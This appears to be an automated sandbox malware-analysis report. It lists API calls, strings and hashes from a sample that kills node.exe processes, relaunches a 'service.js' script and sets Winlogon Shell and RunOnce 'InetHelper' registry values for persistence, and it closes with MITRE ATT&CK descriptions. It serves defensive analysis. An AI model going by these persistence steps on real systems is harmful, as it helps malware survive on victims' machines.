SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 82d477863e66f443ebd46b8e1e302b7a8e37783b84298c30bb4df0bf372e1380
Instruction ID: c4075bb9bfde8645d9c714665ee228779135434f852c8317c1fe236da41c92b1
Opcode Fuzzy Hash: 82d477863e66f443ebd46b8e1e302b7a8e37783b84298c30bb4df0bf372e1380
Instruction Fuzzy Hash: C0F0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D419B38

Uniqueness

Uniqueness Score: -1.00%

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 24084e1ee828c43313bede8142c405a0ca1b46cb638746800ee982a4d2c00c06
Instruction ID: 177e50295cc88f553b9a3067857c13a37c9039e473aa79b37457755941741264
Opcode Fuzzy Hash: 24084e1ee828c43313bede8142c405a0ca1b46cb638746800ee982a4d2c00c06
Instruction Fuzzy Hash: 97219371948209AEEF05DFB5DE4AABE7BB5EF84304F14443EF605B61D0D7B889809B18

Uniqueness

Uniqueness Score: -1.00%

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 4753812dcda77c43f10e8ae772257530cbd3706fb24bd1d76dbcd04b27752b45
Instruction ID: 93d8fc7429a3309a4d5f32771a2db5550657aa0780c74b0d1fda1c3346d9b8f3
Opcode Fuzzy Hash: 4753812dcda77c43f10e8ae772257530cbd3706fb24bd1d76dbcd04b27752b45
Instruction Fuzzy Hash: 2A01BC71100709ABDB205F01ED80BDB3A26EB9135AF604037FA00762E0C37A8CD29E6E

Uniqueness

Uniqueness Score: -1.00%

Function 004062B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00004000,00000002,0043E708,00000000,?,?,SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run,?,?,0040652A,80000002), ref: 004062FC
RegCloseKey.ADVAPI32(?,?,0040652A,80000002,Software\Microsoft\Windows\CurrentVersion,SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run,SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run,SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run,00000000,0043E708), ref: 00406307

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run, xrefs: 004062BD

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: CloseQueryValue
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
API String ID: 3356406503-3773729851
Opcode ID: 7e8f2b507172300fff4d18ea8023ba838134d56d13ff8a7450bb17b0ad457722
Instruction ID: 71396637bdf4209a45bd355f469bd078e3083f4a568c77181c36ba1a701e5b4c
Opcode Fuzzy Hash: 7e8f2b507172300fff4d18ea8023ba838134d56d13ff8a7450bb17b0ad457722
Instruction Fuzzy Hash: 2701BC7250020AEBDF218F55CD0AEDB3FA8EF54364F01403AFD16A2190E378DA24CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: cleaner.exePID: 8312, Parent PID: 4040COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0057107D Relevance: 107.1, APIs: 46, Strings: 15, Instructions: 327
registryprocessfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00571097
_wsplitpath.MSVCRT ref: 005710B4
GetCommandLineW.KERNEL32 ref: 005710BD
wcsstr.MSVCRT ref: 005710C9
CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 005710FC
memset.MSVCRT ref: 00571113
Process32FirstW.KERNEL32(00000000,?), ref: 0057112C
_wcsicmp.MSVCRT ref: 00571153
OpenProcess.KERNEL32(00000411,00000000,?), ref: 00571168
QueryFullProcessImageNameW.KERNEL32(00000000,00000000,?,00000104), ref: 00571188
_wcsicmp.MSVCRT ref: 0057119A
TerminateProcess.KERNEL32(00000000,00000009), ref: 005711A5
CloseHandle.KERNEL32(00000000), ref: 005711AC
Process32NextW.KERNEL32(00000000,?), ref: 005711B7
CloseHandle.KERNEL32(00000000), ref: 005711C2
CreateFileW.KERNELBASE(00000000,00000002,00000000,00000000,00000002,00000080,00000000), ref: 005711F5
free.MSVCRT(00000000), ref: 005711FE
FindCloseChangeNotification.KERNELBASE(00000000), ref: 0057120F
MoveFileExW.KERNELBASE(00000000,00000000,00000001), ref: 00571259
memset.MSVCRT ref: 0057126B
CreateFileW.KERNELBASE(00000000,00000002,00000003,00000000,00000002,00000080,00000000), ref: 00571295
GetCurrentProcess.KERNEL32(?,00000000,00000001,00000002), ref: 005712AD
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 005712B1
DuplicateHandle.KERNELBASE(00000000), ref: 005712BA
GetCurrentProcess.KERNEL32(?,00000000,00000001,00000002), ref: 005712C7
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 005712CB
DuplicateHandle.KERNELBASE(00000000), ref: 005712CE
FindCloseChangeNotification.KERNELBASE(00000000), ref: 005712D7
free.MSVCRT(?), ref: 005712E3

Part of subcall function 00571000: wcslen.MSVCRT ref: 0057101C
Part of subcall function 00571000: calloc.MSVCRT ref: 00571030
Part of subcall function 00571000: wcslen.MSVCRT ref: 0057104B
Part of subcall function 00571000: memcpy.MSVCRT ref: 00571061

free.MSVCRT(00000000), ref: 005712E6
memset.MSVCRT ref: 00571327
CreateProcessW.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00000008,00000000,?,?,?), ref: 0057134A
free.MSVCRT(00000000), ref: 00571351
CloseHandle.KERNEL32(?), ref: 00571358
CloseHandle.KERNEL32(?), ref: 0057135E
CloseHandle.KERNEL32(?), ref: 00571364
CloseHandle.KERNEL32(?), ref: 0057136A
RegCreateKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 005713A1
wcslen.MSVCRT ref: 005713AE
RegSetValueExW.KERNELBASE(?,Shell,00000000,00000001,00000000,00000000), ref: 005713CC
RegCloseKey.ADVAPI32(?), ref: 005713D8
free.MSVCRT(00000000), ref: 005713DB
RegCreateKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 00571417
wcslen.MSVCRT ref: 0057141E
RegSetValueExW.KERNELBASE(?,InetHelper,00000000,00000001,00000000,00000000), ref: 00571437
RegCloseKey.ADVAPI32(?), ref: 0057143D

Strings

<!W, xrefs: 005713E1
servicelog.prev.txt, xrefs: 00571237
\\?\pipe\, xrefs: 005711D7
Shell, xrefs: 005713C3
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, xrefs: 00571397
explorer.exe,", xrefs: 00571375
node.exe" ", xrefs: 005712FF
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 0057140D
service.js", xrefs: 005712E8
servicelog.txt, xrefs: 00571215
InetHelper, xrefs: 0057142E
<!W, xrefs: 005712F9
St0P, xrefs: 005710C3
node.exe, xrefs: 005710DD, 0057114D
service.js.lock, xrefs: 005711C9

Memory Dump Source

Source File: 00000016.00000002.2227752204.0000000000571000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00570000, based on PE: true

Associated: 00000016.00000002.2227710222.0000000000570000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.2227794629.0000000000572000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_570000_cleaner.jbxd

Similarity

API ID: Close$HandleProcess$Create$free$CurrentFilewcslen$memset$ChangeDuplicateFindNameNotificationProcess32Value_wcsicmp$CommandFirstFullImageLineModuleMoveNextOpenQuerySnapshotTerminateToolhelp32_wsplitpathcallocmemcpywcsstr
String ID: <!W$<!W$InetHelper$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon$SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce$Shell$St0P$\\?\pipe\$explorer.exe,"$node.exe$node.exe" "$service.js"$service.js.lock$servicelog.prev.txt$servicelog.txt
API String ID: 2280789697-3573369630
Opcode ID: 74d31b5b39dea6700bce59dd87f112c2d7d84eb7b57f1749430ad0d9f5381f36
Instruction ID: 48bd99c49bc6a8596586b003faf8aaee385635e39c8aaa9f903f00f29934e804
Opcode Fuzzy Hash: 74d31b5b39dea6700bce59dd87f112c2d7d84eb7b57f1749430ad0d9f5381f36
Instruction Fuzzy Hash: 3AA16FB2144344BFE720AB61EC8DFAB7BACFB94740F004419F749D2091EA719948EB76

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00571000 Relevance: 5.1, APIs: 4, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 0057101C
calloc.MSVCRT ref: 00571030
wcslen.MSVCRT ref: 0057104B
memcpy.MSVCRT ref: 00571061

Memory Dump Source

Source File: 00000016.00000002.2227752204.0000000000571000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00570000, based on PE: true

Associated: 00000016.00000002.2227710222.0000000000570000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.2227794629.0000000000572000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_570000_cleaner.jbxd

Similarity

API ID: wcslen$callocmemcpy
String ID:
API String ID: 1707914859-0
Opcode ID: b6ef4f21f7f996f1868b8aef62475bd8e54672a38639483deca43d463472180e
Instruction ID: d5bfe355ba9447d5535f5401b8f3aec03df4959e5f7e7b9cccd763f28de3039c
Opcode Fuzzy Hash: b6ef4f21f7f996f1868b8aef62475bd8e54672a38639483deca43d463472180e
Instruction Fuzzy Hash: 1701A1765043059FDB10CF58FC4C856BBA4EF95364F00441DE94983261EA21E848EAA1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: cleaner.exePID: 4320, Parent PID: 7708COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00FE107D Relevance: 103.6, APIs: 46, Strings: 13, Instructions: 327
registryprocessfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00FE1097
_wsplitpath.MSVCRT ref: 00FE10B4
GetCommandLineW.KERNEL32 ref: 00FE10BD
wcsstr.MSVCRT ref: 00FE10C9
CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 00FE10FC
memset.MSVCRT ref: 00FE1113
Process32FirstW.KERNEL32(00000000,?), ref: 00FE112C
_wcsicmp.MSVCRT ref: 00FE1153
OpenProcess.KERNEL32(00000411,00000000,?), ref: 00FE1168
QueryFullProcessImageNameW.KERNEL32(00000000,00000000,?,00000104), ref: 00FE1188
_wcsicmp.MSVCRT ref: 00FE119A
TerminateProcess.KERNEL32(00000000,00000009), ref: 00FE11A5
CloseHandle.KERNEL32(00000000), ref: 00FE11AC
Process32NextW.KERNEL32(00000000,?), ref: 00FE11B7
CloseHandle.KERNEL32(00000000), ref: 00FE11C2
CreateFileW.KERNELBASE(00000000,00000002,00000000,00000000,00000002,00000080,00000000), ref: 00FE11F5
free.MSVCRT(00000000), ref: 00FE11FE
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00FE120F
MoveFileExW.KERNELBASE(00000000,00000000,00000001), ref: 00FE1259
memset.MSVCRT ref: 00FE126B
CreateFileW.KERNELBASE(00000000,00000002,00000003,00000000,00000002,00000080,00000000), ref: 00FE1295
GetCurrentProcess.KERNEL32(?,00000000,00000001,00000002), ref: 00FE12AD
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 00FE12B1
DuplicateHandle.KERNELBASE(00000000), ref: 00FE12BA
GetCurrentProcess.KERNEL32(?,00000000,00000001,00000002), ref: 00FE12C7
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 00FE12CB
DuplicateHandle.KERNELBASE(00000000), ref: 00FE12CE
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00FE12D7
free.MSVCRT(?), ref: 00FE12E3

Part of subcall function 00FE1000: wcslen.MSVCRT ref: 00FE101C
Part of subcall function 00FE1000: calloc.MSVCRT ref: 00FE1030
Part of subcall function 00FE1000: wcslen.MSVCRT ref: 00FE104B
Part of subcall function 00FE1000: memcpy.MSVCRT ref: 00FE1061

free.MSVCRT(00000000), ref: 00FE12E6
memset.MSVCRT ref: 00FE1327
CreateProcessW.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00000008,00000000,?,?,?), ref: 00FE134A
free.MSVCRT(00000000), ref: 00FE1351
CloseHandle.KERNEL32(?), ref: 00FE1358
CloseHandle.KERNEL32(?), ref: 00FE135E
CloseHandle.KERNEL32(?), ref: 00FE1364
CloseHandle.KERNEL32(?), ref: 00FE136A
RegCreateKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 00FE13A1
wcslen.MSVCRT ref: 00FE13AE
RegSetValueExW.KERNELBASE(?,Shell,00000000,00000001,00000000,00000000), ref: 00FE13CC
RegCloseKey.ADVAPI32(?), ref: 00FE13D8
free.MSVCRT(00000000), ref: 00FE13DB
RegCreateKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 00FE1417
wcslen.MSVCRT ref: 00FE141E
RegSetValueExW.KERNELBASE(?,InetHelper,00000000,00000001,00000000,00000000), ref: 00FE1437
RegCloseKey.ADVAPI32(?), ref: 00FE143D

Strings

service.js", xrefs: 00FE12E8
St0P, xrefs: 00FE10C3
node.exe" ", xrefs: 00FE12FF
InetHelper, xrefs: 00FE142E
servicelog.txt, xrefs: 00FE1215
service.js.lock, xrefs: 00FE11C9
servicelog.prev.txt, xrefs: 00FE1237
node.exe, xrefs: 00FE10DD, 00FE114D
explorer.exe,", xrefs: 00FE1375
\\?\pipe\, xrefs: 00FE11D7
Shell, xrefs: 00FE13C3
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00FE140D
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, xrefs: 00FE1397

Memory Dump Source

Source File: 0000001D.00000002.2280747843.0000000000FE1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00FE0000, based on PE: true

Associated: 0000001D.00000002.2280711919.0000000000FE0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2280779803.0000000000FE2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_fe0000_cleaner.jbxd

Similarity

API ID: Close$HandleProcess$Create$free$CurrentFilewcslen$memset$ChangeDuplicateFindNameNotificationProcess32Value_wcsicmp$CommandFirstFullImageLineModuleMoveNextOpenQuerySnapshotTerminateToolhelp32_wsplitpathcallocmemcpywcsstr
String ID: InetHelper$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon$SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce$Shell$St0P$\\?\pipe\$explorer.exe,"$node.exe$node.exe" "$service.js"$service.js.lock$servicelog.prev.txt$servicelog.txt
API String ID: 2280789697-528123803
Opcode ID: fd6155b351da04958c64a27a99a86dbb72f9f9af5972e398f9666034766e370d
Instruction ID: 42149031852a0af697b6002a1aafd73dbfd514e77e8d405753135c3f94f80740
Opcode Fuzzy Hash: fd6155b351da04958c64a27a99a86dbb72f9f9af5972e398f9666034766e370d
Instruction Fuzzy Hash: B8A184B2544388BFE360AB61DC89FAF77ADFB84750F000919F745D60D1EAB49904DB62

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00FE1000 Relevance: 5.1, APIs: 4, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00FE101C
calloc.MSVCRT ref: 00FE1030
wcslen.MSVCRT ref: 00FE104B
memcpy.MSVCRT ref: 00FE1061

Memory Dump Source

Source File: 0000001D.00000002.2280747843.0000000000FE1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00FE0000, based on PE: true

Associated: 0000001D.00000002.2280711919.0000000000FE0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2280779803.0000000000FE2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_fe0000_cleaner.jbxd

Similarity

API ID: wcslen$callocmemcpy
String ID:
API String ID: 1707914859-0
Opcode ID: 309c4790d24ce5a967cb9923a981a91e472d47bea18d2f5f8027de38aec87fb8
Instruction ID: 29241b420e96243179a0e7e3d93170ef8e0fa83b524b6d0ca6bb11ec8f30ea88
Opcode Fuzzy Hash: 309c4790d24ce5a967cb9923a981a91e472d47bea18d2f5f8027de38aec87fb8
Instruction Fuzzy Hash: 6C01D6766043499FD710DF59EC88856BBE8FF84364B00041DFA45872A2FB31EC08DA91

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
